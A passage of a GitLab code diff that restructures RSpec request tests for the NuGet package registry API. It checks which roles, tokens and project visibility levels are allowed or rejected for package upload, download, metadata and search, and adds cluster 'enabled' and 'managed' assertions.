- 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
- end
-
- with_them do
- let(:token) { user_token ? personal_access_token.token : 'wrong' }
- let(:user_headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
- let(:headers) { user_headers.merge(workhorse_header) }
-
- before do
- project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
- end
-
- it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
- end
- end
-
- it_behaves_like 'deploy token for package uploads'
-
- it_behaves_like 'rejects nuget access with unknown project id'
-
- it_behaves_like 'rejects nuget access with invalid project id'
-
- context 'file size above maximum limit' do
- let(:headers) { basic_auth_header(deploy_token.username, deploy_token.token).merge(workhorse_header) }
-
- before do
- allow_next_instance_of(UploadedFile) do |uploaded_file|
- allow(uploaded_file).to receive(:size).and_return(project.actual_limits.nuget_max_file_size + 1)
- end
- end
-
- it_behaves_like 'returning response status', :bad_request
- end
- end
- end
-
- describe 'GET /api/v4/projects/:id/packages/nuget/metadata/*package_name/index' do
- include_context 'with expected presenters dependency groups'
-
- let_it_be(:package_name) { 'Dummy.Package' }
- let_it_be(:packages) { create_list(:nuget_package, 5, :with_metadatum, name: package_name, project: project) }
- let_it_be(:tags) { packages.each { |pkg| create(:packages_tag, package: pkg, name: 'test') } }
- let(:url) { "/projects/#{project.id}/packages/nuget/metadata/#{package_name}/index.json" }
-
- subject { get api(url) }
-
- before do
- packages.each { |pkg| create_dependencies_for(pkg) }
- end
-
- context 'without the need for license' do
- context 'with valid project' do
- using RSpec::Parameterized::TableSyntax
-
- where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
- 'PUBLIC' | :developer | true | true | 'process nuget metadata request at package name level' | :success
- 'PUBLIC' | :guest | true | true | 'process nuget metadata request at package name level' | :success
- 'PUBLIC' | :developer | true | false | 'process nuget metadata request at package name level' | :success
- 'PUBLIC' | :guest | true | false | 'process nuget metadata request at package name level' | :success
- 'PUBLIC' | :developer | false | true | 'process nuget metadata request at package name level' | :success
- 'PUBLIC' | :guest | false | true | 'process nuget metadata request at package name level' | :success
- 'PUBLIC' | :developer | false | false | 'process nuget metadata request at package name level' | :success
- 'PUBLIC' | :guest | false | false | 'process nuget metadata request at package name level' | :success
- 'PUBLIC' | :anonymous | false | true | 'process nuget metadata request at package name level' | :success
- 'PRIVATE' | :developer | true | true | 'process nuget metadata request at package name level' | :success
- 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
- 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
- end
-
- with_them do
- let(:token) { user_token ? personal_access_token.token : 'wrong' }
- let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
-
- subject { get api(url), headers: headers }
-
- before do
- project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
- end
-
- it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
- end
-
- it_behaves_like 'deploy token for package GET requests'
-
- it_behaves_like 'rejects nuget access with unknown project id'
-
- it_behaves_like 'rejects nuget access with invalid project id'
- end
- end
- end
-
- describe 'GET /api/v4/projects/:id/packages/nuget/metadata/*package_name/*package_version' do
- include_context 'with expected presenters dependency groups'
-
- let_it_be(:package_name) { 'Dummy.Package' }
- let_it_be(:package) { create(:nuget_package, :with_metadatum, name: 'Dummy.Package', project: project) }
- let_it_be(:tag) { create(:packages_tag, package: package, name: 'test') }
- let(:url) { "/projects/#{project.id}/packages/nuget/metadata/#{package_name}/#{package.version}.json" }
-
- subject { get api(url) }
-
- before do
- create_dependencies_for(package)
- end
-
- context 'without the need for a license' do
- context 'with valid project' do
- using RSpec::Parameterized::TableSyntax
-
- where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
- 'PUBLIC' | :developer | true | true | 'process nuget metadata request at package name and package version level' | :success
- 'PUBLIC' | :guest | true | true | 'process nuget metadata request at package name and package version level' | :success
- 'PUBLIC' | :developer | true | false | 'process nuget metadata request at package name and package version level' | :success
- 'PUBLIC' | :guest | true | false | 'process nuget metadata request at package name and package version level' | :success
- 'PUBLIC' | :developer | false | true | 'process nuget metadata request at package name and package version level' | :success
- 'PUBLIC' | :guest | false | true | 'process nuget metadata request at package name and package version level' | :success
- 'PUBLIC' | :developer | false | false | 'process nuget metadata request at package name and package version level' | :success
- 'PUBLIC' | :guest | false | false | 'process nuget metadata request at package name and package version level' | :success
- 'PUBLIC' | :anonymous | false | true | 'process nuget metadata request at package name and package version level' | :success
- 'PRIVATE' | :developer | true | true | 'process nuget metadata request at package name and package version level' | :success
- 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
- 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
- end
-
- with_them do
- let(:token) { user_token ? personal_access_token.token : 'wrong' }
- let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
-
- subject { get api(url), headers: headers }
-
- before do
- project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
- end
-
- it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
- end
- end
-
- it_behaves_like 'deploy token for package GET requests'
-
- context 'with invalid package name' do
- let_it_be(:package_name) { 'Unkown' }
-
- it_behaves_like 'rejects nuget packages access', :developer, :not_found
- end
- end
- end
-
- describe 'GET /api/v4/projects/:id/packages/nuget/download/*package_name/index' do
- let_it_be(:package_name) { 'Dummy.Package' }
- let_it_be(:packages) { create_list(:nuget_package, 5, name: package_name, project: project) }
- let(:url) { "/projects/#{project.id}/packages/nuget/download/#{package_name}/index.json" }
-
- subject { get api(url) }
-
- context 'without the need for a license' do
- context 'with valid project' do
- using RSpec::Parameterized::TableSyntax
-
- where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
- 'PUBLIC' | :developer | true | true | 'process nuget download versions request' | :success
- 'PUBLIC' | :guest | true | true | 'process nuget download versions request' | :success
- 'PUBLIC' | :developer | true | false | 'process nuget download versions request' | :success
- 'PUBLIC' | :guest | true | false | 'process nuget download versions request' | :success
- 'PUBLIC' | :developer | false | true | 'process nuget download versions request' | :success
- 'PUBLIC' | :guest | false | true | 'process nuget download versions request' | :success
- 'PUBLIC' | :developer | false | false | 'process nuget download versions request' | :success
- 'PUBLIC' | :guest | false | false | 'process nuget download versions request' | :success
- 'PUBLIC' | :anonymous | false | true | 'process nuget download versions request' | :success
- 'PRIVATE' | :developer | true | true | 'process nuget download versions request' | :success
- 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
- 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
- end
-
- with_them do
- let(:token) { user_token ? personal_access_token.token : 'wrong' }
- let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
-
- subject { get api(url), headers: headers }
-
- before do
- project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
- end
-
- it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
- end
- end
-
- it_behaves_like 'deploy token for package GET requests'
-
- it_behaves_like 'rejects nuget access with unknown project id'
-
- it_behaves_like 'rejects nuget access with invalid project id'
- end
- end
-
- describe 'GET /api/v4/projects/:id/packages/nuget/download/*package_name/*package_version/*package_filename' do
- let_it_be(:package_name) { 'Dummy.Package' }
- let_it_be(:package) { create(:nuget_package, project: project, name: package_name) }
-
- let(:url) { "/projects/#{project.id}/packages/nuget/download/#{package.name}/#{package.version}/#{package.name}.#{package.version}.nupkg" }
-
- subject { get api(url) }
-
- context 'without the need for a license' do
- context 'with valid project' do
- using RSpec::Parameterized::TableSyntax
-
- where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
- 'PUBLIC' | :developer | true | true | 'process nuget download content request' | :success
- 'PUBLIC' | :guest | true | true | 'process nuget download content request' | :success
- 'PUBLIC' | :developer | true | false | 'process nuget download content request' | :success
- 'PUBLIC' | :guest | true | false | 'process nuget download content request' | :success
- 'PUBLIC' | :developer | false | true | 'process nuget download content request' | :success
- 'PUBLIC' | :guest | false | true | 'process nuget download content request' | :success
- 'PUBLIC' | :developer | false | false | 'process nuget download content request' | :success
- 'PUBLIC' | :guest | false | false | 'process nuget download content request' | :success
- 'PUBLIC' | :anonymous | false | true | 'process nuget download content request' | :success
- 'PRIVATE' | :developer | true | true | 'process nuget download content request' | :success
- 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
- 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
- end
-
- with_them do
- let(:token) { user_token ? personal_access_token.token : 'wrong' }
- let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
-
- subject { get api(url), headers: headers }
-
- before do
- project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
- end
-
- it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
- end
- end
-
- it_behaves_like 'deploy token for package GET requests'
-
- it_behaves_like 'rejects nuget access with unknown project id'
-
- it_behaves_like 'rejects nuget access with invalid project id'
- end
- end
-
- describe 'GET /api/v4/projects/:id/packages/nuget/query' do
- let_it_be(:package_a) { create(:nuget_package, :with_metadatum, name: 'Dummy.PackageA', project: project) }
- let_it_be(:tag) { create(:packages_tag, package: package_a, name: 'test') }
- let_it_be(:packages_b) { create_list(:nuget_package, 5, name: 'Dummy.PackageB', project: project) }
- let_it_be(:packages_c) { create_list(:nuget_package, 5, name: 'Dummy.PackageC', project: project) }
- let_it_be(:package_d) { create(:nuget_package, name: 'Dummy.PackageD', version: '5.0.5-alpha', project: project) }
- let_it_be(:package_e) { create(:nuget_package, name: 'Foo.BarE', project: project) }
- let(:search_term) { 'uMmy' }
- let(:take) { 26 }
- let(:skip) { 0 }
- let(:include_prereleases) { true }
- let(:query_parameters) { { q: search_term, take: take, skip: skip, prerelease: include_prereleases } }
- let(:url) { "/projects/#{project.id}/packages/nuget/query?#{query_parameters.to_query}" }
-
- subject { get api(url) }
-
- context 'without the need for a license' do
- context 'with valid project' do
- using RSpec::Parameterized::TableSyntax
-
- where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
- 'PUBLIC' | :developer | true | true | 'process nuget search request' | :success
- 'PUBLIC' | :guest | true | true | 'process nuget search request' | :success
- 'PUBLIC' | :developer | true | false | 'process nuget search request' | :success
- 'PUBLIC' | :guest | true | false | 'process nuget search request' | :success
- 'PUBLIC' | :developer | false | true | 'process nuget search request' | :success
- 'PUBLIC' | :guest | false | true | 'process nuget search request' | :success
- 'PUBLIC' | :developer | false | false | 'process nuget search request' | :success
- 'PUBLIC' | :guest | false | false | 'process nuget search request' | :success
- 'PUBLIC' | :anonymous | false | true | 'process nuget search request' | :success
- 'PRIVATE' | :developer | true | true | 'process nuget search request' | :success
- 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
- 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
- end
-
- with_them do
- let(:token) { user_token ? personal_access_token.token : 'wrong' }
- let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
-
- subject { get api(url), headers: headers }
-
- before do
- project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
- end
-
- it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
- end
- end
-
- it_behaves_like 'deploy token for package GET requests'
-
- it_behaves_like 'rejects nuget access with unknown project id'
-
- it_behaves_like 'rejects nuget access with invalid project id'
- end
- end
-end
diff --git a/spec/requests/api/nuget_project_packages_spec.rb b/spec/requests/api/nuget_project_packages_spec.rb
new file mode 100644
index 00000000000..df1daf39144
--- /dev/null
+++ b/spec/requests/api/nuget_project_packages_spec.rb
@@ -0,0 +1,280 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe API::NugetProjectPackages do
+ include WorkhorseHelpers
+ include PackagesManagerApiSpecHelpers
+ include HttpBasicAuthHelpers
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project, reload: true) { create(:project, :public) }
+ let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
+ let_it_be(:deploy_token) { create(:deploy_token, read_package_registry: true, write_package_registry: true) }
+ let_it_be(:project_deploy_token) { create(:project_deploy_token, deploy_token: deploy_token, project: project) }
+
+ describe 'GET /api/v4/projects/:id/packages/nuget' do
+ it_behaves_like 'handling nuget service requests' do
+ let(:url) { "/projects/#{project.id}/packages/nuget/index.json" }
+ end
+ end
+
+ describe 'GET /api/v4/projects/:id/packages/nuget/metadata/*package_name/index' do
+ it_behaves_like 'handling nuget metadata requests with package name' do
+ let(:url) { "/projects/#{project.id}/packages/nuget/metadata/#{package_name}/index.json" }
+ end
+ end
+
+ describe 'GET /api/v4/projects/:id/packages/nuget/metadata/*package_name/*package_version' do
+ it_behaves_like 'handling nuget metadata requests with package name and package version' do
+ let(:url) { "/projects/#{project.id}/packages/nuget/metadata/#{package_name}/#{package.version}.json" }
+ end
+ end
+
+ describe 'GET /api/v4/projects/:id/packages/nuget/query' do
+ it_behaves_like 'handling nuget search requests' do
+ let(:url) { "/projects/#{project.id}/packages/nuget/query?#{query_parameters.to_query}" }
+ end
+ end
+
+ describe 'PUT /api/v4/projects/:id/packages/nuget/authorize' do
+ let_it_be(:workhorse_token) { JWT.encode({ 'iss' => 'gitlab-workhorse' }, Gitlab::Workhorse.secret, 'HS256') }
+ let_it_be(:workhorse_header) { { 'GitLab-Workhorse' => '1.0', Gitlab::Workhorse::INTERNAL_API_REQUEST_HEADER => workhorse_token } }
+ let(:url) { "/projects/#{project.id}/packages/nuget/authorize" }
+ let(:headers) { {} }
+
+ subject { put api(url), headers: headers }
+
+ context 'without the need for a license' do
+ context 'with valid project' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
+ 'PUBLIC' | :developer | true | true | 'process nuget workhorse authorization' | :success
+ 'PUBLIC' | :guest | true | true | 'rejects nuget packages access' | :forbidden
+ 'PUBLIC' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PUBLIC' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PUBLIC' | :developer | false | true | 'rejects nuget packages access' | :forbidden
+ 'PUBLIC' | :guest | false | true | 'rejects nuget packages access' | :forbidden
+ 'PUBLIC' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PUBLIC' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PUBLIC' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :developer | true | true | 'process nuget workhorse authorization' | :success
+ 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
+ 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
+ end
+
+ with_them do
+ let(:token) { user_token ? personal_access_token.token : 'wrong' }
+ let(:user_headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
+ let(:headers) { user_headers.merge(workhorse_header) }
+
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
+ end
+
+ it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
+ end
+ end
+
+ it_behaves_like 'deploy token for package uploads'
+
+ it_behaves_like 'rejects nuget access with unknown project id'
+
+ it_behaves_like 'rejects nuget access with invalid project id'
+ end
+ end
+
+ describe 'PUT /api/v4/projects/:id/packages/nuget' do
+ let(:workhorse_token) { JWT.encode({ 'iss' => 'gitlab-workhorse' }, Gitlab::Workhorse.secret, 'HS256') }
+ let(:workhorse_header) { { 'GitLab-Workhorse' => '1.0', Gitlab::Workhorse::INTERNAL_API_REQUEST_HEADER => workhorse_token } }
+ let_it_be(:file_name) { 'package.nupkg' }
+ let(:url) { "/projects/#{project.id}/packages/nuget" }
+ let(:headers) { {} }
+ let(:params) { { package: temp_file(file_name) } }
+ let(:file_key) { :package }
+ let(:send_rewritten_field) { true }
+
+ subject do
+ workhorse_finalize(
+ api(url),
+ method: :put,
+ file_key: file_key,
+ params: params,
+ headers: headers,
+ send_rewritten_field: send_rewritten_field
+ )
+ end
+
+ context 'without the need for a license' do
+ context 'with valid project' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
+ 'PUBLIC' | :developer | true | true | 'process nuget upload' | :created
+ 'PUBLIC' | :guest | true | true | 'rejects nuget packages access' | :forbidden
+ 'PUBLIC' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PUBLIC' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PUBLIC' | :developer | false | true | 'rejects nuget packages access' | :forbidden
+ 'PUBLIC' | :guest | false | true | 'rejects nuget packages access' | :forbidden
+ 'PUBLIC' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PUBLIC' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PUBLIC' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :developer | true | true | 'process nuget upload' | :created
+ 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
+ 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
+ end
+
+ with_them do
+ let(:token) { user_token ? personal_access_token.token : 'wrong' }
+ let(:user_headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
+ let(:headers) { user_headers.merge(workhorse_header) }
+
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
+ end
+
+ it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
+ end
+ end
+
+ it_behaves_like 'deploy token for package uploads'
+
+ it_behaves_like 'rejects nuget access with unknown project id'
+
+ it_behaves_like 'rejects nuget access with invalid project id'
+
+ context 'file size above maximum limit' do
+ let(:headers) { basic_auth_header(deploy_token.username, deploy_token.token).merge(workhorse_header) }
+
+ before do
+ allow_next_instance_of(UploadedFile) do |uploaded_file|
+ allow(uploaded_file).to receive(:size).and_return(project.actual_limits.nuget_max_file_size + 1)
+ end
+ end
+
+ it_behaves_like 'returning response status', :bad_request
+ end
+ end
+ end
+
+ describe 'GET /api/v4/projects/:id/packages/nuget/download/*package_name/index' do
+ let_it_be(:package_name) { 'Dummy.Package' }
+ let_it_be(:packages) { create_list(:nuget_package, 5, name: package_name, project: project) }
+ let(:url) { "/projects/#{project.id}/packages/nuget/download/#{package_name}/index.json" }
+
+ subject { get api(url) }
+
+ context 'without the need for a license' do
+ context 'with valid project' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
+ 'PUBLIC' | :developer | true | true | 'process nuget download versions request' | :success
+ 'PUBLIC' | :guest | true | true | 'process nuget download versions request' | :success
+ 'PUBLIC' | :developer | true | false | 'process nuget download versions request' | :success
+ 'PUBLIC' | :guest | true | false | 'process nuget download versions request' | :success
+ 'PUBLIC' | :developer | false | true | 'process nuget download versions request' | :success
+ 'PUBLIC' | :guest | false | true | 'process nuget download versions request' | :success
+ 'PUBLIC' | :developer | false | false | 'process nuget download versions request' | :success
+ 'PUBLIC' | :guest | false | false | 'process nuget download versions request' | :success
+ 'PUBLIC' | :anonymous | false | true | 'process nuget download versions request' | :success
+ 'PRIVATE' | :developer | true | true | 'process nuget download versions request' | :success
+ 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
+ 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
+ end
+
+ with_them do
+ let(:token) { user_token ? personal_access_token.token : 'wrong' }
+ let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
+
+ subject { get api(url), headers: headers }
+
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
+ end
+
+ it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
+ end
+ end
+
+ it_behaves_like 'deploy token for package GET requests'
+
+ it_behaves_like 'rejects nuget access with unknown project id'
+
+ it_behaves_like 'rejects nuget access with invalid project id'
+ end
+ end
+
+ describe 'GET /api/v4/projects/:id/packages/nuget/download/*package_name/*package_version/*package_filename' do
+ let_it_be(:package_name) { 'Dummy.Package' }
+ let_it_be(:package) { create(:nuget_package, project: project, name: package_name) }
+
+ let(:url) { "/projects/#{project.id}/packages/nuget/download/#{package.name}/#{package.version}/#{package.name}.#{package.version}.nupkg" }
+
+ subject { get api(url) }
+
+ context 'without the need for a license' do
+ context 'with valid project' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
+ 'PUBLIC' | :developer | true | true | 'process nuget download content request' | :success
+ 'PUBLIC' | :guest | true | true | 'process nuget download content request' | :success
+ 'PUBLIC' | :developer | true | false | 'process nuget download content request' | :success
+ 'PUBLIC' | :guest | true | false | 'process nuget download content request' | :success
+ 'PUBLIC' | :developer | false | true | 'process nuget download content request' | :success
+ 'PUBLIC' | :guest | false | true | 'process nuget download content request' | :success
+ 'PUBLIC' | :developer | false | false | 'process nuget download content request' | :success
+ 'PUBLIC' | :guest | false | false | 'process nuget download content request' | :success
+ 'PUBLIC' | :anonymous | false | true | 'process nuget download content request' | :success
+ 'PRIVATE' | :developer | true | true | 'process nuget download content request' | :success
+ 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
+ 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
+ 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
+ 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
+ end
+
+ with_them do
+ let(:token) { user_token ? personal_access_token.token : 'wrong' }
+ let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
+
+ subject { get api(url), headers: headers }
+
+ before do
+ project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
+ end
+
+ it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
+ end
+ end
+
+ it_behaves_like 'deploy token for package GET requests'
+
+ it_behaves_like 'rejects nuget access with unknown project id'
+
+ it_behaves_like 'rejects nuget access with invalid project id'
+ end
+ end
+end
diff --git a/spec/requests/api/project_clusters_spec.rb b/spec/requests/api/project_clusters_spec.rb
index 7b37862af74..f784f677c25 100644
--- a/spec/requests/api/project_clusters_spec.rb
+++ b/spec/requests/api/project_clusters_spec.rb
@@ -88,6 +88,8 @@ RSpec.describe API::ProjectClusters do
expect(json_response['environment_scope']).to eq('*')
expect(json_response['cluster_type']).to eq('project_type')
expect(json_response['domain']).to eq('example.com')
+ expect(json_response['enabled']).to be_truthy
+ expect(json_response['managed']).to be_truthy
end
it 'returns project information' do
@@ -171,6 +173,7 @@ RSpec.describe API::ProjectClusters do
name: 'test-cluster',
domain: 'domain.example.com',
managed: false,
+ enabled: false,
namespace_per_environment: false,
platform_kubernetes_attributes: platform_kubernetes_attributes,
management_project_id: management_project_id
@@ -202,6 +205,7 @@ RSpec.describe API::ProjectClusters do
expect(cluster_result.name).to eq('test-cluster')
expect(cluster_result.domain).to eq('domain.example.com')
expect(cluster_result.managed).to be_falsy
+ expect(cluster_result.enabled).to be_falsy
expect(cluster_result.management_project_id).to eq management_project_id
expect(cluster_result.namespace_per_environment).to eq(false)
expect(platform_kubernetes.rbac?).to be_truthy
@@ -337,7 +341,9 @@ RSpec.describe API::ProjectClusters do
{
domain: 'new-domain.com',
platform_kubernetes_attributes: platform_kubernetes_attributes,
- management_project_id: management_project_id
+ management_project_id: management_project_id,
+ managed: false,
+ enabled: false
}
end
@@ -373,6 +379,8 @@ RSpec.describe API::ProjectClusters do
it 'updates cluster attributes' do
expect(response).to have_gitlab_http_status(:ok)
expect(cluster.domain).to eq('new-domain.com')
+ expect(cluster.managed).to be_falsy
+ expect(cluster.enabled).to be_falsy
expect(cluster.platform_kubernetes.namespace).to eq('new-namespace')
expect(cluster.management_project).to eq(management_project)
end
@@ -384,6 +392,8 @@ RSpec.describe API::ProjectClusters do
it 'does not update cluster attributes' do
expect(response).to have_gitlab_http_status(:bad_request)
expect(cluster.domain).not_to eq('new_domain.com')
+ expect(cluster.managed).to be_truthy
+ expect(cluster.enabled).to be_truthy
expect(cluster.platform_kubernetes.namespace).not_to eq('invalid_namespace')
expect(cluster.management_project).not_to eq(management_project)
end
diff --git a/spec/requests/api/project_import_spec.rb b/spec/requests/api/project_import_spec.rb
index a6ae636996e..8e99d37c84f 100644
--- a/spec/requests/api/project_import_spec.rb
+++ b/spec/requests/api/project_import_spec.rb
@@ -303,7 +303,7 @@ RSpec.describe API::ProjectImport do
subject
expect(response).to have_gitlab_http_status(:ok)
- expect(response.content_type.to_s).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
+ expect(response.media_type.to_s).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
expect(json_response['TempPath']).to eq(ImportExportUploader.workhorse_local_upload_path)
end
@@ -325,7 +325,7 @@ RSpec.describe API::ProjectImport do
subject
expect(response).to have_gitlab_http_status(:ok)
